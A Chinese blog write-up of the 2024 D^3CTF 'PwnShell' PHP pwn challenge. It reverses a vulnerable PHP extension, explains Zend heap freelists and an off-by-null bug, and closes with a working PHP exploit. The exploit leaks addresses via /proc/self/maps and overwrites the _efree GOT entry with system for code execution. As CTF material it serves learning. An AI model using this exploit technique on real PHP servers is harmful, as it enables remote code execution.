PHP pwn 学习 (2)
文章目录
- A. 逆向分析
- A.1 基本数据获取
- A.2 函数逆向
- zif_addHacker
- zif_removeHacker
- zif_displayHacker
- zif_editHacker
- A.3 PHP 内存分配
- A.4 漏洞挖掘
- B. 漏洞利用
- B.1 PHP调试
- B.2 exp
上一篇blog中,我们学习了一些PHP extension for C的基本内容,下面结合一道题来进行分析,同时学习一些题目中会涉及的新内容。
题目示例:2024 D^3CTF PwnShell
A. 逆向分析
该题是一道典型的PHP pwn,题目中给出了一个简单的PHP文件上传脚本,我们可以上传PHP文件然后远程执行,调用有漏洞的C库,最后通过反弹shell进行RCE。
这里我们使用的逆向分析引擎为Ghidra。
A.1 基本数据获取
在上一篇blog中,我们提到,一个PHP扩展必然存在一个_zend_module_entry结构,用于保存该扩展的基本信息。我们可以在Ghidra中定义下面的结构,其中函数指针以void*代替。随后,可以在0x104080找到vuln_module_entry,从数据大小和变量名来看应该就是我们要找的_zend_module_entry。进行数据类型转换后如下所示。
struct _zend_module_entry {unsigned short size;unsigned int zend_api;unsigned char zend_debug;unsigned char zts;const struct _zend_ini_entry *ini_entry;const struct _zend_module_dep *deps;const char *name;const struct _zend_function_entry *functions;zend_result (*module_startup_func)(INIT_FUNC_ARGS);zend_result (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);zend_result (*request_startup_func)(INIT_FUNC_ARGS);zend_result (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);const char *version;size_t globals_size;
#ifdef ZTSts_rsrc_id* globals_id_ptr;
#elsevoid* globals_ptr;
#endifvoid (*globals_ctor)(void *global);void (*globals_dtor)(void *global);zend_result (*post_deactivate_func)(void);int module_started;unsigned char type;void *handle;int module_number;const char *build_id;
};

由此可以获取一些基本信息,包括扩展的名字vuln、版本0.1.0等。
随后,我们定义_zend_function_entry结构,找到vuln_module_entry并设置其数据类型,如下图所示,可以看到,扩展一共定义了4个函数可供调用。

随后,定义表示参数类型的数据结构,得到这些函数的参数信息,如下图所示。

可以获取这些函数的原型:
void zif_addHacker(undef name, undef fill);
void zif_removeHacker(undef idx);
string zif_displayHacker(undef idx);
void zif_editHacker(undef idx, undef content);
A.2 函数逆向
下面,我们分析一下库中定义的函数。
zif_addHacker
反汇编结果如下图所示。

在这里,C语言解析参数的方式与上一篇blog中描述的不同。这里是使用zend_parse_parameters进行解析。这种解析方式更加直观。
zend_parse_parameters可传入不固定数量的参数,一般用于一次性解析所有参数:
int zend_parse_parameters(int num_args, char *type_spec, ...);
第一个参数为参数数量,第二个参数为参数解析格式。根据PHP源代码文档,type_spec参数的格式如下:
对于一个参数,可以使用一个字符序列表示该参数的解析规则。在后面的变长参数中,需要顺序传入参数保存值的引用值。PHP使用一个字母表示参数应该被解析为什么类型。具体的对应关系如下:a - array (zval*)
A - array or object (zval*)
b - boolean (zend_bool)
C - class (zend_class_entry*)
d - double (double)
f - function or array containing php method call info (returned aszend_fcall_info and zend_fcall_info_cache)
h - array (returned as HashTable*)
H - array or HASH_OF(object) (returned as HashTable*)
l - long (zend_long)
n - long or double (zval*)
o - object of any type (zval*)
O - object of specific type given by class entry (zval*, zend_class_entry)
p - valid path (string without null bytes in the middle) and its length (char*, size_t)
P - valid path (string without null bytes in the middle) as zend_string (zend_string*)
r - resource (zval*)
s - string (with possible null bytes) and its length (char*, size_t)
S - string (with possible null bytes) as zend_string (zend_string*)
z - the actual zval (zval*)
* - variable arguments list (0 or more)
+ - variable arguments list (1 or more)还可以使用下面3个符号:| - 放在上面字母的前面表示参数的解析规则为可选参数,其应该被初始化为默认值,以防止PHP代码没有传入该参数。
/ - 对其所跟的参数调用 SEPARATE_ZVAL()。
! - 所跟的参数可以为指定类型或 NULL。如果传入 NULL 且输出类型为指针,则输出的 C 语言指针为 NULL。对于类型 'b'、'l'、'd',一个额外的 zend_bool* 类型需要在对应的 bool*、zend_long*、double* 后被传入。如果传入 PHP NULL 则一个非0值将会被写到 zend_bool 中。
具体的示例参见PHP文档,已保存到网站本地。
在定义了必要的数据结构之后,可以完成对该函数的反汇编,重定义数据类型与命名后,结果如下所示。

下面是推断出的本地定义的数据结构:
struct hacker_entry {char* name;size_t name_len;char[] fill;
};struct chunklist_entry {struct hacker_entry* hacker;int islast;
};
这里没有定义zend_string,偏移0x10表示字符串长度,0x18表示字符串指针。
需要注意的是,结构体hacker_entry的最后一个字段的数组长度未知,又因为没有对fill参数的长度进行判断,因此可能存在堆内存溢出漏洞。我们需要分析内存分配函数_emalloc以明确溢出的具体信息。
查阅PHP源代码发现,_emalloc是PHP自己实现的一个内存分配函数,即PHP默认不使用外部库(如glibc)进行内存分配。当然在C语言编写的扩展中使用glibc也是完全允许的。这部分代码分析在我们将4个扩展内函数逆向完成后再进行。
zif_removeHacker

zif_displayHacker

这个函数只返回了之前传入的Hacker名,而不会返回fill。
zif_editHacker

这里只是修改了Hacker的名字,没有改变fill。
由上面的分析可知,本题的漏洞点应该就在fill字段的处理上。我们需要理解PHP的内存分配系统原理,以尝试通过这个溢出实现get shell。
A.3 PHP 内存分配
_emalloc函数是PHP自定义的内存分配系统的分配入口点:
// /Zend/zend_alloc.c, line 2534ZEND_API void* ZEND_FASTCALL _emalloc(size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
#if ZEND_MM_CUSTOMif (UNEXPECTED(AG(mm_heap)->use_custom_heap)) {return _malloc_custom(size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);}
#endifreturn zend_mm_alloc_heap(AG(mm_heap), size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}
这里有一个默认为真的宏定义,它将分配过程拆分为两个分支。首先来看默认分支,即_malloc_custom:
// /Zend/zend_alloc.c, line 2414static ZEND_COLD void* ZEND_FASTCALL _malloc_custom(size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{if (ZEND_DEBUG && AG(mm_heap)->use_custom_heap == ZEND_MM_CUSTOM_HEAP_DEBUG) {return AG(mm_heap)->custom_heap.debug._malloc(size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);} else {return AG(mm_heap)->custom_heap.std._malloc(size);}
}// /Zend/zend_alloc.c, line 2356typedef struct _zend_alloc_globals {zend_mm_heap *mm_heap;
} zend_alloc_globals;#ifdef ZTS
static int alloc_globals_id;
static size_t alloc_globals_offset;
# define AG(v) ZEND_TSRMG_FAST(alloc_globals_offset, zend_alloc_globals *, v)
#else
# define AG(v) (alloc_globals.v)
static zend_alloc_globals alloc_globals;
#endif
由此可以找到PHP堆的全局定义结构如下:
struct _zend_mm_heap {
#if ZEND_MM_CUSTOMint use_custom_heap;
#endif
#if ZEND_MM_STORAGEzend_mm_storage *storage;
#endif
#if ZEND_MM_STATsize_t size; /* current memory usage */size_t peak; /* peak memory usage */
#endifzend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */
#if ZEND_MM_STAT || ZEND_MM_LIMITsize_t real_size; /* current size of allocated pages */
#endif
#if ZEND_MM_STATsize_t real_peak; /* peak size of allocated pages */
#endif
#if ZEND_MM_LIMITsize_t limit; /* memory limit */int overflow; /* memory overflow flag */
#endifzend_mm_huge_list *huge_list; /* list of huge allocated blocks */zend_mm_chunk *main_chunk;zend_mm_chunk *cached_chunks; /* list of unused chunks */int chunks_count; /* number of allocated chunks */int peak_chunks_count; /* peak number of allocated chunks for current request */int cached_chunks_count; /* number of cached chunks */double avg_chunks_count; /* average number of chunks allocated per request */int last_chunks_delete_boundary; /* number of chunks after last deletion */int last_chunks_delete_count; /* number of deletion over the last boundary */
#if ZEND_MM_CUSTOMunion {struct {void *(*_malloc)(size_t);void (*_free)(void*);void *(*_realloc)(void*, size_t);} std;struct {void *(*_malloc)(size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);void (*_free)(void* ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);void *(*_realloc)(void*, size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);} debug;} custom_heap;HashTable *tracked_allocs;
#endif
};
可以看到,自定义堆分配实际上就是自定义堆分配、释放与重新分配的函数。在全局结构构造函数alloc_globals_ctor (/Zend/zend_alloc.c, line 2798)中,实际上是将函数指针处初始化为__zend_malloc。__zend_malloc直接调用libc的malloc函数。因此自定义内存分配时默认使用libc库的内存分配函数。
下面再看到另一个分支。
// /Zend/zend_alloc.c, line 1311static zend_always_inline void *zend_mm_alloc_heap(zend_mm_heap *heap, size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{void *ptr;
#if ZEND_DEBUG...
#endifif (EXPECTED(size <= ZEND_MM_MAX_SMALL_SIZE)) {ptr = zend_mm_alloc_small(heap, ZEND_MM_SMALL_SIZE_TO_BIN(size) ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
#if ZEND_DEBUG...
#endifreturn ptr;} else if (EXPECTED(size <= ZEND_MM_MAX_LARGE_SIZE)) {ptr = zend_mm_alloc_large(heap, size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
#if ZEND_DEBUG...
#endifreturn ptr;} else {
#if ZEND_DEBUG...
#endifreturn zend_mm_alloc_huge(heap, size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);}
}
可以看到,这里根据分配需求的大小将调用不同的3个函数,其中ZEND_MM_MAX_SMALL_SIZE为3072,ZEND_MM_MAX_LARGE_SIZE为2MB-4KB。对于题目而言,要分配的大小基本都小于3072。需要注意的是,在函数调用中使用了ZEND_MM_SMALL_SIZE_TO_BIN宏定义,可以理解为:PHP内部使用30个链表保存以释放的小chunk,每个链表中保存一个大小范围内的chunk,这与musl libc有类似之处。
// /Zend/zend_alloc.c, line 1157static zend_always_inline int zend_mm_small_size_to_bin(size_t size)
{
#if 0int n;/*0, 1, 2, 3, 4, 5, 6, 7, 8, 9 10, 11, 12*/static const int f1[] = { 3, 3, 3, 3, 3, 3, 3, 4, 5, 6, 7, 8, 9};static const int f2[] = { 0, 0, 0, 0, 0, 0, 0, 4, 8, 12, 16, 20, 24};if (UNEXPECTED(size <= 2)) return 0;n = zend_mm_small_size_to_bit(size - 1);return ((size-1) >> f1[n]) + f2[n];
#elseunsigned int t1, t2;if (size <= 64) {/* we need to support size == 0 ... */return (size - !!size) >> 3;} else {t1 = size - 1;t2 = zend_mm_small_size_to_bit(t1) - 3;t1 = t1 >> t2;t2 = t2 - 3;t2 = t2 << 2;return (int)(t1 + t2);}
#endif
}#define ZEND_MM_SMALL_SIZE_TO_BIN(size) zend_mm_small_size_to_bin(size)// /Zend/zend_alloc.c, line 1125/* higher set bit number (0->N/A, 1->1, 2->2, 4->3, 8->4, 127->7, 128->8 etc) */
static zend_always_inline int zend_mm_small_size_to_bit(int size){
#if (defined(__GNUC__) || __has_builtin(__builtin_clz)) && defined(PHP_HAVE_BUILTIN_CLZ)return (__builtin_clz(size) ^ 0x1f) + 1;
#elif defined(_WIN32)unsigned long index;if (!BitScanReverse(&index, (unsigned long)size)) {/* undefined behavior */return 64;}return (((31 - (int)index) ^ 0x1f) + 1);
#elseint n = 16;if (size <= 0x00ff) {n -= 8; size = size << 8;}if (size <= 0x0fff) {n -= 4; size = size << 4;}if (size <= 0x3fff) {n -= 2; size = size << 2;}if (size <= 0x7fff) {n -= 1;}return n;
#endif
}
这一段主要是将用户请求的大小转换为对应的freelist索引值。
// /Zend/zend_alloc.c, line 324#define _BIN_DATA_SIZE(num, size, elements, pages, x, y) size,
static const uint32_t bin_data_size[] = {ZEND_MM_BINS_INFO(_BIN_DATA_SIZE, x, y)
};// /Zend/zend_alloc_sizes.h, line 31/* num, size, count, pages */
#define ZEND_MM_BINS_INFO(_, x, y) \_( 0, 8, 512, 1, x, y) \_( 1, 16, 256, 1, x, y) \_( 2, 24, 170, 1, x, y) \_( 3, 32, 128, 1, x, y) \_( 4, 40, 102, 1, x, y) \_( 5, 48, 85, 1, x, y) \_( 6, 56, 73, 1, x, y) \_( 7, 64, 64, 1, x, y) \_( 8, 80, 51, 1, x, y) \_( 9, 96, 42, 1, x, y) \_(10, 112, 36, 1, x, y) \_(11, 128, 32, 1, x, y) \_(12, 160, 25, 1, x, y) \_(13, 192, 21, 1, x, y) \_(14, 224, 18, 1, x, y) \_(15, 256, 16, 1, x, y) \_(16, 320, 64, 5, x, y) \_(17, 384, 32, 3, x, y) \_(18, 448, 9, 1, x, y) \_(19, 512, 8, 1, x, y) \_(20, 640, 32, 5, x, y) \_(21, 768, 16, 3, x, y) \_(22, 896, 9, 2, x, y) \_(23, 1024, 8, 2, x, y) \_(24, 1280, 16, 5, x, y) \_(25, 1536, 8, 3, x, y) \_(26, 1792, 16, 7, x, y) \_(27, 2048, 8, 4, x, y) \_(28, 2560, 8, 5, x, y) \_(29, 3072, 4, 3, x, y)
从上面的定义可以获取30个freelist对应的chunk大小。可以看到,PHP在分配这部分内存时是以页为最小单位整个分配的,如对于大小为8的chunk,在初次分配时,应该是分配一整页4KB,随后将这一页拆分为512个8B大小的chunk来使用。
下面重点关注一下zend_mm_alloc_small。
// /Zend/zend_alloc.c, line 1243static zend_always_inline void *zend_mm_alloc_small(zend_mm_heap *heap, int bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{#if ZEND_MM_STATdo {size_t size = heap->size + bin_data_size[bin_num];size_t peak = MAX(heap->peak, size);heap->size = size;heap->peak = peak;} while (0);#endifif (EXPECTED(heap->free_slot[bin_num] != NULL)) {zend_mm_free_slot *p = heap->free_slot[bin_num];heap->free_slot[bin_num] = p->next_free_slot;return p;} else {return zend_mm_alloc_small_slow(heap, bin_num ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);}
}
忽略宏定义中的内容,看下面的部分。首先会检查对应的freelist链表是否存在已经释放的chunk,如果有,则使用链表的第一个chunk作为返回值。否则会调用zend_mm_alloc_small_slow另外分配内存。
// /Zend/zend_alloc.c, line 1187static zend_never_inline void *zend_mm_alloc_small_slow(zend_mm_heap *heap, uint32_t bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{zend_mm_chunk *chunk;int page_num;zend_mm_bin *bin;zend_mm_free_slot *p, *end;#if ZEND_DEBUG...
#elsebin = (zend_mm_bin*)zend_mm_alloc_pages(heap, bin_pages[bin_num] ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
#endifif (UNEXPECTED(bin == NULL)) {/* insufficient memory */return NULL;}chunk = (zend_mm_chunk*)ZEND_MM_ALIGNED_BASE(bin, ZEND_MM_CHUNK_SIZE);page_num = ZEND_MM_ALIGNED_OFFSET(bin, ZEND_MM_CHUNK_SIZE) / ZEND_MM_PAGE_SIZE;chunk->map[page_num] = ZEND_MM_SRUN(bin_num);if (bin_pages[bin_num] > 1) {uint32_t i = 1;do {chunk->map[page_num+i] = ZEND_MM_NRUN(bin_num, i);i++;} while (i < bin_pages[bin_num]);}/* create a linked list of elements from 1 to last */end = (zend_mm_free_slot*)((char*)bin + (bin_data_size[bin_num] * (bin_elements[bin_num] - 1)));heap->free_slot[bin_num] = p = (zend_mm_free_slot*)((char*)bin + bin_data_size[bin_num]);do {p->next_free_slot = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);
#if ZEND_DEBUG...
#endifp = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);} while (p != end);/* terminate list using NULL */p->next_free_slot = NULL;
#if ZEND_DEBUG...
#endif/* return first element */return bin;
}
在这个函数中,我们可以清晰地看到,zend_mm_alloc_pages之后,PHP构造了包含所有新分配的chunk的链表并放在freelist链表头部。即freelist链表不仅包含被释放的chunk,也有未被分配的chunk。最后返回其中的第一个chunk。
而对于chunk的释放,则非常简单,直接将该chunk放到对应freelist的头部即可。在分配与释放过程中,没有进行任何的安全检查,因此一旦出现堆相关漏洞,常常可以大做文章。
A.4 漏洞挖掘
从上面的分析来看,内存分配与释放均需要一个参数,但Ghidra没有识别出来,将参数添加后发现,先前发现的可能的溢出漏洞实际上并不存在,hacker_entry的最后一个字段实际上是一个不定长数组,在实际分配内存时会根据传入的字符串长度确定chunk大小。
那么,这道题的漏洞点又在何处?需要注意zif_displayHacker和zif_addHacker函数,在memcpy之后,有一个在字符串尾部添加\0的操作,这实际上是off by null。

由于freed chunk将链表指针放在chunk首部,chunk与chunk之间没有任何分隔,因此off by null有机会修改链表指针的值。将该指针的值修改为一个chunk A内部的地址,这样可以通过chunk A的重写完全覆盖chunk A后面的chunk B的链表指针。本题的so文件没有使用FULL RELRO安全保护,因此可以完成覆盖GOT表的操作,后面的内容就不用多说了。
B. 漏洞利用
明确漏洞后,接下来就是考虑如何利用该漏洞。本题中我们可以完成PHP文件上传,因此直接将exp PHP文件上传后通过网址执行即可。
不过在php.ini中,题目定义了很多禁用的函数,保存在disable_function中。在实际编写PHP脚本时,需要注意不要使用这里提到的函数。
在本题中,我们可以通过读取/proc/self/maps的方法获取PHP进程的libc基地址以及堆内存的基地址。但我们并不能直接通过fopen函数打开文件,这主要是防止我们直接去读取flag文件。不过,PHP功能强大,我们还是能够找到读取/proc/self/maps的方法。flag文件在普通权限下无法读取,但/proc/self/maps可以读取。
在zend_mm_alloc_small_slow中可以看到,初次分配的单向链表是低地址的chunk在头部,高地址的chunk在尾部。因此我们可以首先分配几个相同大小的chunk,随后按照从高到低的顺序释放。
需要注意的是,PHP不允许运行在其他版本下构建的C扩展,在API确认可用的情况下,可以通过修改module_entry中的zend_api与build_id中的版本信息使其在不同PHP版本下运行。
在解题过程中,通过gdb调试能够加快进度,此类PHP pwn的调试方法参考资料完成。下面演示一下调试流程。
B.1 PHP调试
在docker中安装gdbserver后,运行
gdbserver :1234 php -S 0:8080 index.php
使gdbserver监听本地1234端口,PHP监听本地8080端口。访问8080端口即相当于执行php index.php。随后多次使用n命令。遇到的第一个call指令调用后,将加载PHP运行过程中需要的所有动态链接库(不含C扩展),进入_start后会进入_libc_start_main,在一条call rax指令执行后进入监听状态,同时会显示加载C扩展情况,如下面两图所示。


在vuln.so中打下断点后,访问8080端口,即可让gdb断在想要的地方。
下面是PHP中的_emalloc函数:

这其中内联了zend_mm_alloc_small函数,一直跟进理解代码语义,我们能够找到堆的freelist结构:

可以看到,这里的freelist中低地址的chunk位于链表的前面。因此有下面的漏洞利用思路,即想办法构造一个地址最后1字节为’\x00’的fake pointer指向free.got,随后在同一个freelist中通过off by null将这个fake pointer链入这个freelist中。如下图所示。

这里解释一下使用0x70 chunk freelist的原因。在整个漏洞利用过程中,首先需要一个能够写入0x…00这种地址的chunk A,随后需要一个chunk B完成off by null,破坏后面的chunk C的指针。原先chunk C的指针指向chunk D,且chunk D地址除了最低字节外其他字节应该与chunk A写入的地址相同。在0x70 chunk freelist中,可以利用0x2a0、0x310、0x380、0x3f0这4个chunk,即0x2a0写入0x300为free.got,0x310完成off by null,将0x380处由0x3f0改为0x300,这样就可以完成指针伪造,并最终能够成功分配到首地址为0x300的chunk。
B.2 exp
<?php$libc_base = 0;
$vuln_so_base = 0;
$efree_got = 0x4038;
$system_off = 0x45e90;
$map_file = "/proc/self/map";function get_so_base($buffer)
{global $libc_base;global $vuln_so_base;$libc_line_regex = "/([0-9a-f]+)-[0-9a-f]+ .* \/lib\/x86_64-linux-gnu\/libc-2\.31\.so/";$vuln_so_line_regex ="/([0-9a-f]+)-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-[0-9]+\/vuln\.so/";if (preg_match_all($libc_line_regex, $buffer, $matches))$libc_base = hexdec($matches[1][0]);elseecho "Failed to get libc base";if (preg_match_all($vuln_so_line_regex, $buffer, $matches))$vuln_so_base = hexdec($matches[1][0]);elseecho "Failed to get vuln.so base";
}function p64($value): string
{$ret = "";for ($i = 0; $i < 8; $i++) {echo $ret & 0xFF . "<br>";$ret .= pack('C', $value & 0xFF);$value >>= 8;}return $ret;
}// open a buffer and read the content of /proc/self/maps
ob_start();
include "/proc/self/maps";
$buffer = ob_get_contents();
ob_end_flush();
get_so_base($buffer);
$efree_got += $vuln_so_base;echo "libc base address: " . dechex($libc_base) . "\n<br>";
echo "vuln.so base address: " . dechex($vuln_so_base) . "\n<br>";
echo "_efree.got: " . dechex($efree_got) . "\n<br>";addHacker(str_repeat("a", 0x40), str_repeat("b", 0x5f));
addHacker("echo \"success\"\x00" . str_repeat("a", 0x70-15), str_repeat("b", 0x5f));
addHacker(str_repeat("a", 0x70), str_repeat("b", 0x5f));
addHacker(str_repeat("a", 0x40), str_repeat("x", 0x50) . p64($efree_got)); // 0x2A0
addHacker(str_repeat("a", 0x40), str_repeat("!", 0x60)); // 0x310, off by null
addHacker(str_repeat("a", 0x70), str_repeat("x", 0x5f));
addHacker(p64($libc_base + $system_off) . str_repeat("a", 0x67), str_repeat("a", 0x38));
removeHacker(1);
成功利用,效果如下,这里仅显示在本地执行命令的结果。如果无法成功利用,可能是PHP环境问题,根据freelist状态调整冗余chunk的分配数量即可。

相关文章:
PHP pwn 学习 (2)
文章目录 A. 逆向分析A.1 基本数据获取A.2 函数逆向zif_addHackerzif_removeHackerzif_displayHackerzif_editHacker A.3 PHP 内存分配 A.4 漏洞挖掘B. 漏洞利用B.1 PHP调试B.2 exp 上一篇blog中,我们学习了一些PHP extension for C的基本内容,下面结合一…...
【Python学习笔记】:Python爬取音频
【Python学习笔记】:Python爬取音频 背景前摇(省流可以不看): 人工智能公司实习,好奇技术老师训练语音模型的过程,遂请教,得知训练数据集来源于爬取某网页的音频。 很久以前看B站同济子豪兄的《…...
4 C 语言控制流与循环结构的深入解读
目录 1 复杂表达式的计算过程 2 if-else语句 2.1 基本结构及示例 2.2 if-else if 多分支 2.3 嵌套 if-else 2.4 悬空的 else 2.5 注意事项 2.5.1 if 后面不要加分号 2.5.2 省略 else 2.5.3 省略 {} 2.5.4 注意点 3 while 循环 3.1 一般形式 3.2 流程特点 3.3 注…...
vue排序
onEnd 函数示例,它假设 drag.value 是一个包含多个对象(每个对象至少包含 orderNum 和 label 属性)的数组,且您希望在拖动结束后更新所有元素的 orderNum 以反映新的顺序: function onEnd(e) { // 首先,确…...
agv叉车slam定位精度测试标准化流程
相对定位精度 条件:1.5m/s最高速度;基于普通直行任务 数据采集(3个不同位置的直行任务,每个任务直行约10m,每个10次) 测量每次走过的实际距离,与每次根据定位结果算得的相对距离,两…...
实战打靶集锦-31-monitoring
文章目录 1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 ssh服务4.2 smtp服务4.3 http/https服务 5. 系统提权5.1 枚举系统信息5.2 枚举passwd文件5.3 枚举定时任务5.4 linpeas提权 6. 获取flag 靶机地址:https://download.vulnhub.com/monitoring/Monitoring.o…...
小程序-模板与配置
一、WXML模板语法 1.数据绑定 2.事件绑定 什么是事件 小程序中常用的事件 事件对象的属性列表 target和currentTarget的区别 bindtap的语法格式 在事件处理函数中为data中的数据赋值 3.事件传参与数据同步 事件传参 (以下为错误示例) 以上两者的…...
交叉编译aarch64的Qt5.12.2,附带Mysql插件编译
一、配置交叉编译工具链 1、交叉编译工具链目录 /opt/zlg/m3568-sdk-v1.0.0-ga/gcc-buildroot-9.3.0-2020.03-x86_64_aarch64-rockchip-linux-gnu/bin/aarch64-rockchip-linux-gnu-g /opt/zlg/m3568-sdk-v1.0.0-ga/gcc-buildroot-9.3.0-2020.03-x86_64_aarch64-rockchip-linu…...
好用的Ubuntu下的工具合集[持续增加]
1. 终端工具 UBUNTU下有哪些好用的终端软件? - 知乎 (zhihu.com) sudo apt install terminator...
Xcode 16 beta3 真机调试找不到 Apple Watch 的尝试解决
很多小伙伴们想用 Xcode 在 Apple Watch 真机上调试运行 App 时却发现:在 Xcode 设备管理器中压根找不到对应的 Apple Watch 设备。 大家是否已将 Apple Watch 和 Mac 都重启一万多遍了,还是束手无策。 Apple Watch not showing in XCodeApple Watch wo…...
Three.JS 使用RGBELoader和CubeTextureLoader 添加环境贴图
导入RGBELoader模块: import { RGBELoader } from "three/examples/jsm/loaders/RGBELoader.js"; 使用 addRGBEMappingk(environment, background,url) {rgbeLoader new RGBELoader();rgbeLoader.loadAsync(url).then((texture) > {//贴图模式 经纬…...
k8s logstash多管道配置
背景 采用的是标准的ELKfilebeat架构 ES版本:7.17.15 logstash版本:7.17.15 filebeat版本: 7.17.15 helm版本:7.17.3,官方地址:elastic/helm-charts 说一下为什么会想到使用多管道的原因 我们刚开始…...
【CMU博士论文】结构化推理增强大语言模型(Part 0)
问题 :语言生成和推理领域的快速发展得益于围绕大型语言模型的用户友好库的普及。这些解决方案通常依赖于Seq2Seq范式,将所有问题视为文本到文本的转换。尽管这种方法方便,但在实际部署中存在局限性:处理复杂问题时的脆弱性、缺乏…...
Odoo创建一个自定义UI视图
Odoo能够为给定的模型生成默认视图。在实践中,默认视图对于业务应用程序来说是绝对不可接受的。相反,我们至少应该以合乎逻辑的方式组织各个字段。 视图在带有Actions操作和Menus菜单的 XML 文件中定义。它们是模型的 ir.ui.view 实例。 列表视图 列表视…...
Day16_集合与迭代器
Day16-集合 Day16 集合与迭代器1.1 集合的概念 集合继承图1.2 Collection接口1、添加元素2、删除元素3、查询与获取元素不过当我们实际使用都是使用的他的子类Arraylist!!! 1.3 API演示1、演示添加2、演示删除3、演示查询与获取元素 2 Iterat…...
html2canvas + jspdf 纯前端HTML导出PDF的实现与问题
前言 这几天接到一个需求,富文本编辑器的内容不仅要展示出来,还要实现展示的内容导出pdf文件。一开始导出pdf的功能是由后端来做的,然后发现对于宽度太大的图片,导出的pdf文件里部分图片内容被遮盖了,但在前端是正常显…...
【JVM】JVM调优练习-随笔
JVM实战笔记-随笔 前言字节码如何查看字节码文件jclasslibJavapArthasArthurs监控面板Arthus查看字节码信息 内存调优内存溢出的常见场景解决内存溢出发现问题Top命令VisualVMArthas使用案例 Prometheus Grafana案例 堆内存情况对比内存泄漏的原因:代码中的内存泄漏并发请求问…...
如何解决 CentOS 7 官方 yum 仓库无法使用
一、背景介绍 编译基于 CentOS 7.6.1810 镜像的 Dockerfile 过程中,执行 yum install 指令时,遇到了错误:Could not resolve host: mirrorlist.centos.org; Unknown error。 二、原因分析 官方停止维护 CentOS 7。该系统内置的 yum.repo 所使用的域名 mirrorlist.centos.o…...
分布式唯一id的7种方案
背景 为什么需要使用分布式唯一id? 如果我们的系统是单体的,数据库是单库,那无所谓,怎么搞都行。 但是如果系统是多系统,如果id是和业务相关,由各个系统生成的情况下,那每个主机生成的主键id就…...
嵌入式物联网在医疗行业中的应用——案例分析
作者主页: 知孤云出岫 目录 嵌入式物联网在医疗行业中的应用——案例分析引言1. 智能病房监控1.1 实时患者监控系统 2. 智能医疗设备管理2.1 设备使用跟踪与维护 3. 智能药物管理3.1 药物分配与跟踪 4. 智能远程医疗4.1 远程患者监控与诊断 总结 嵌入式物联网在医疗行业中的应…...
Java 语言特性(面试系列1)
一、面向对象编程 1. 封装(Encapsulation) 定义:将数据(属性)和操作数据的方法绑定在一起,通过访问控制符(private、protected、public)隐藏内部实现细节。示例: public …...
1.3 VSCode安装与环境配置
进入网址Visual Studio Code - Code Editing. Redefined下载.deb文件,然后打开终端,进入下载文件夹,键入命令 sudo dpkg -i code_1.100.3-1748872405_amd64.deb 在终端键入命令code即启动vscode 需要安装插件列表 1.Chinese简化 2.ros …...
Maven 概述、安装、配置、仓库、私服详解
目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...
面向无人机海岸带生态系统监测的语义分割基准数据集
描述:海岸带生态系统的监测是维护生态平衡和可持续发展的重要任务。语义分割技术在遥感影像中的应用为海岸带生态系统的精准监测提供了有效手段。然而,目前该领域仍面临一个挑战,即缺乏公开的专门面向海岸带生态系统的语义分割基准数据集。受…...
android13 app的触摸问题定位分析流程
一、知识点 一般来说,触摸问题都是app层面出问题,我们可以在ViewRootImpl.java添加log的方式定位;如果是touchableRegion的计算问题,就会相对比较麻烦了,需要通过adb shell dumpsys input > input.log指令,且通过打印堆栈的方式,逐步定位问题,并找到修改方案。 问题…...
关于uniapp展示PDF的解决方案
在 UniApp 的 H5 环境中使用 pdf-vue3 组件可以实现完整的 PDF 预览功能。以下是详细实现步骤和注意事项: 一、安装依赖 安装 pdf-vue3 和 PDF.js 核心库: npm install pdf-vue3 pdfjs-dist二、基本使用示例 <template><view class"con…...
Chrome 浏览器前端与客户端双向通信实战
Chrome 前端(即页面 JS / Web UI)与客户端(C 后端)的交互机制,是 Chromium 架构中非常核心的一环。下面我将按常见场景,从通道、流程、技术栈几个角度做一套完整的分析,特别适合你这种在分析和改…...
【Kafka】Kafka从入门到实战:构建高吞吐量分布式消息系统
Kafka从入门到实战:构建高吞吐量分布式消息系统 一、Kafka概述 Apache Kafka是一个分布式流处理平台,最初由LinkedIn开发,后成为Apache顶级项目。它被设计用于高吞吐量、低延迟的消息处理,能够处理来自多个生产者的海量数据,并将这些数据实时传递给消费者。 Kafka核心特…...
aardio 自动识别验证码输入
技术尝试 上周在发学习日志时有网友提议“在网页上识别验证码”,于是尝试整合图像识别与网页自动化技术,完成了这套模拟登录流程。核心思路是:截图验证码→OCR识别→自动填充表单→提交并验证结果。 代码在这里 import soImage; import we…...
Mysql故障排插与环境优化
